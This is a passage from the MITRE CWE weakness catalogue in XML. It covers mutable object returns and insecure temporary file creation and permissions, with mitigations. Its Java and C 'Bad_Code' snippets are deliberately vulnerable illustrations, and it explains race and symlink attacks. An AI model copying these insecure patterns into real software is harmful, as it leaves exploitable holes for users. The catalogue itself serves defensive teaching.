						Reference</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="375" Name="Returning a Mutable Object to an Untrusted Caller" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Sending non-cloned mutable data as a return value may result in
					that data being altered or deleted by the calling function, thereby putting the
					class in an undefined state.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>371</Relationship_Target_ID>
					          <!--State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>In situations where functions return references to mutable data, it is
						possible that this external code, which called the function, may make
						changes to the data sent. If this data was not previously cloned, you will
						be left with modified data which may, or may not, be valid in the context of
						the class in question.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Potentially data could be tampered with by another function which
							should not have been tampered with.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Pass in data which should not be altered as constant or
							immutable.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Clone all mutable data before returning references to it. This is the
							preferred mitigation. This way, regardless of what changes are made to
							the data, a valid copy is retained for use by the class.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This class has a private list of patients, but provides a way to see
						the list : </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class ClinicalTrial {</Code>
							              <Block>
								                <Code>private PatientClass[] patientList = new
									PatientClass[50];</Code>
								                <Code>public getPatients(...){</Code>
								                <Block>
									                  <Code>return patientList;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> While this code only means to allow reading of the patient list, the
							getPatients() method returns a reference to the class's original patient
							list instead of a reference to a copy of the list. Any caller of this
							method can arbitrarily modify the contents of the patient list even
							though it is a private member of the class.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Mutable object returned</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Provide mutable classes with copy functionality to safely
						allow passing instances to untrusted code</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Defensively copy private mutable class members before
						returning their references</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Name, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Passing Mutable Objects to an
						Untrusted Method</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="377" Name="Insecure Temporary File" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Creating and using insecure temporary files can leave
					application and system data vulnerable to attack.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>376</Relationship_Target_ID>
					          <!--Temporary File Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Applications require temporary files so frequently that many different
						mechanisms exist for creating them in the C Library and Windows(R) API. Most
						of these functions are vulnerable to various forms of attacks.</Text>
					          <Text>The functions designed to aid in the creation of temporary files can be
						broken into two groups based whether they simply provide a filename or
						actually open a new file. - Group 1: "Unique" Filenames: The first group of
						C Library and WinAPI functions designed to help with the process of creating
						temporary files do so by generating a unique file name for a new temporary
						file, which the program is then supposed to open. This group includes C
						Library functions like tmpnam(), tempnam(), mktemp() and their C++
						equivalents prefaced with an _ (underscore) as well as the GetTempFileName()
						function from the Windows API. This group of functions suffers from an
						underlying race condition on the filename chosen. Although the functions
						guarantee that the filename is unique at the time it is selected, there is
						no mechanism to prevent another process or an attacker from creating a file
						with the same name after it is selected but before the application attempts
						to open the file. Beyond the risk of a legitimate collision caused by
						another call to the same function, there is a high probability that an
						attacker will be able to create a malicious collision because the filenames
						generated by these functions are not sufficiently randomized to make them
						difficult to guess. If a file with the selected name is created, then
						depending on how the file is opened the existing contents or access
						permissions of the file may remain intact. If the existing contents of the
						file are malicious in nature, an attacker may be able to inject dangerous
						data into the application when it reads data back from the temporary file.
						If an attacker pre-creates the file with relaxed access permissions, then
						data stored in the temporary file by the application may be accessed,
						modified or corrupted by an attacker. On Unix based systems an even more
						insidious attack is possible if the attacker pre-creates the file as a link
						to another important file. Then, if the application truncates or writes data
						to the file, it may unwittingly perform damaging operations for the
						attacker. This is an especially serious threat if the program operates with
						elevated permissions. Finally, in the best case the file will be opened with
						the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile()
						using the CREATE_NEW attribute, which will fail if the file already exists
						and therefore prevent the types of attacks described above. However, if an
						attacker is able to accurately predict a sequence of temporary file names,
						then the application may be prevented from opening necessary temporary
						storage causing a denial of service (DoS) attack. This type of attack would
						not be difficult to mount given the small amount of randomness used in the
						selection of the filenames generated by these functions. - Group 2: "Unique"
						Files: The second group of C Library functions attempts to resolve some of
						the security problems related to temporary files by not only generating a
						unique file name, but also opening the file. This group includes C Library
						functions like tmpfile() and its C++ equivalents prefaced with an _
						(underscore), as well as the slightly better-behaved C Library function
						mkstemp(). The tmpfile() style functions construct a unique filename and
						open it in the same way that fopen() would if passed the flags "wb+", that
						is, as a binary file in read/write mode. If the file already exists,
						tmpfile() will truncate it to size zero, possibly in an attempt to assuage
						the security concerns mentioned earlier regarding the race condition that
						exists between the selection of a supposedly unique filename and the
						subsequent opening of the selected file. However, this behavior clearly does
						not solve the function's security problems. First, an attacker can
						pre-create the file with relaxed access-permissions that will likely be
						retained by the file opened by tmpfile(). Furthermore, on Unix based systems
						if the attacker pre-creates the file as a link to another important file,
						the application may use its possibly elevated permissions to truncate that
						file, thereby doing damage on behalf of the attacker. Finally, if tmpfile()
						does create a new file, the access permissions applied to that file will
						vary from one operating system to another, which can leave application data
						vulnerable even if an attacker is unable to predict the filename to be used
						in advance. Finally, mkstemp() is a reasonably safe way create temporary
						files. It will attempt to create and open a unique file based on a filename
						template provided by the user combined with a series of randomly generated
						characters. If it is unable to create such a file, it will fail and return
						-1. On modern systems the file is opened using mode 0600, which means the
						file will be secure from tampering unless the user explicitly changes its
						access permissions. However, mkstemp() still suffers from the use of
						predictable file names and can leave an application vulnerable to denial of
						service attacks if an attacker causes mkstemp() to fail by predicting and
						pre-creating the filenames to be used.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code uses a temporary file for storing intermediate
						data gathered from the network before it is processed.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>if (tmpnam_r(filename)) {</Code>
							              <Block>
								                <Code/>
								                <Code>FILE* tmp = fopen(filename,"wb+");</Code>
								                <Code>while((recv(sock,recvbuf,DATA_SIZE, 0) &gt; 0)&amp;(amt!=0))
									amt = fwrite(recvbuf,1,DATA_SIZE,tmp); </Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This otherwise unremarkable code is vulnerable to a number of
							different attacks because it relies on an insecure method for creating
							temporary files. The vulnerabilities introduced by this function and
							others are described in the following sections. The most egregious
							security problems related to temporary file creation have occurred on
							Unix-based operating systems, but Windows applications have parallel
							risks. This section includes a discussion of temporary file creation on
							both Unix and Windows systems. Methods and behaviors can vary between
							systems, but the fundamental risks introduced by each are reasonably
							constant.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 23, "Creating Temporary Files Securely" Page
						682</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Temporary Files", Page 538.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 11, "File Squatting", Page 662.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Insecure Temporary File</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not operate on files in shared
						directories</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="378" Name="Creation of Temporary File With Insecure Permissions" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Opening temporary files without appropriate measures or
					controls can leave the file, its contents and any function that it impacts
					vulnerable to attack.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>377</Relationship_Target_ID>
					          <!--Insecure Temporary File-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>376</Relationship_Target_ID>
					          <!--Temporary File Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the temporary file can be read by the attacker, sensitive
							information may be in that file which could be revealed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Authorization</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If that file can be written to by the attacker, the file might be
							moved into a place to which the attacker does not have access. This will
							allow the attacker to gain selective resource access-control
							privileges.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Depending on the data stored in the temporary file, there is the
							potential for an attacker to gain an additional input vector which is
							trusted as non-malicious. It may be possible to make arbitrary changes
							to data structures, user information, or even process ownership.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Many contemporary languages have functions
							which properly handle this condition. Older C temp file functions are
							especially susceptible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that you use proper file permissions. This can be achieved by
							using a safe temp file function. Temporary files should be writable and
							readable only by the process which own the file.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Randomize temporary file names. This can also be achieved by using a
							safe temp-file function. This will ensure that temporary files will not
							be created in predictable places.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-101">
					          <Intro_Text>In the following code examples a temporary file is created and
						written to and after using the temporary file the file is closed and deleted
						from the file system.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>FILE *stream;</Code>
							              <Code>if( (stream = tmpfile()) == NULL ) {</Code>
							              <Block>
								                <Code/>
								                <Code>perror("Could not open new temporary file\n");</Code>
								                <Code>return (-1);</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment>// write data to tmp file</Comment>
							              <Code>...</Code>
							              <Code>// remove tmp file</Code>
							              <Code>rmtmp();</Code>
						            </Block>
						            <Text>However, within this C/C++ code the method tmpfile() is used to create
							and open the temp file. The tmpfile() method works the same way as the
							fopen() method would with read/write permission, allowing attackers to
							read potentially sensitive information contained in the temp file or
							modify the contents of the file.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>File temp = File.createTempFile("pattern", ".suffix");</Code>
								                <Code>temp.deleteOnExit();</Code>
								                <Code>BufferedWriter out = new BufferedWriter(new
									FileWriter(temp));</Code>
								                <Code>out.write("aString");</Code>
								                <Code>out.close();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (IOException e) {</Code>
							              <Code>}</Code>
						            </Block>
						            <Text>Similarly, the createTempFile() method used in the Java code creates a
							temp file that may be readable and writable to all users. </Text>
						            <Text>Additionally both methods used above place the file into a default
							directory. On UNIX systems the default directory is usually "/tmp" or
							"/var/tmp" and on Windows systems the default directory is usually
							"C:\\Windows\\Temp", which may be easily accessible to attackers,
							possibly enabling them to read and modify the contents of the temp
							file.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Improper temp file opening</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Improper Temporary File
						Opening</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="379" Name="Creation of Temporary File in Directory with Incorrect Permissions" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software creates a temporary file in a directory whose
					permissions allow unintended actors to determine the file's existence or
					otherwise access that file.</Description_Summary>
				        <Extended_Description>
					          <Text>On some operating systems, the fact that the temporary file exists may be
						apparent to any user with sufficient privileges to access that directory.
						Since the file is visible, the application that is using the temporary file
						could be known. If one has access to list the processes on the system, the
						attacker has gained information about what the user is doing at that time.
						By correlating this with the applications the user is running, an attacker
						could potentially discover what a user's actions are. From this, higher
						levels of security could be breached.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>377</Relationship_Target_ID>
					          <!--Insecure Temporary File-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>376</Relationship_Target_ID>
					          <!--Temporary File Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Since the file is visible and the application which is using the temp
							file could be known, the attacker has gained information about what the
							user is doing at that time.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
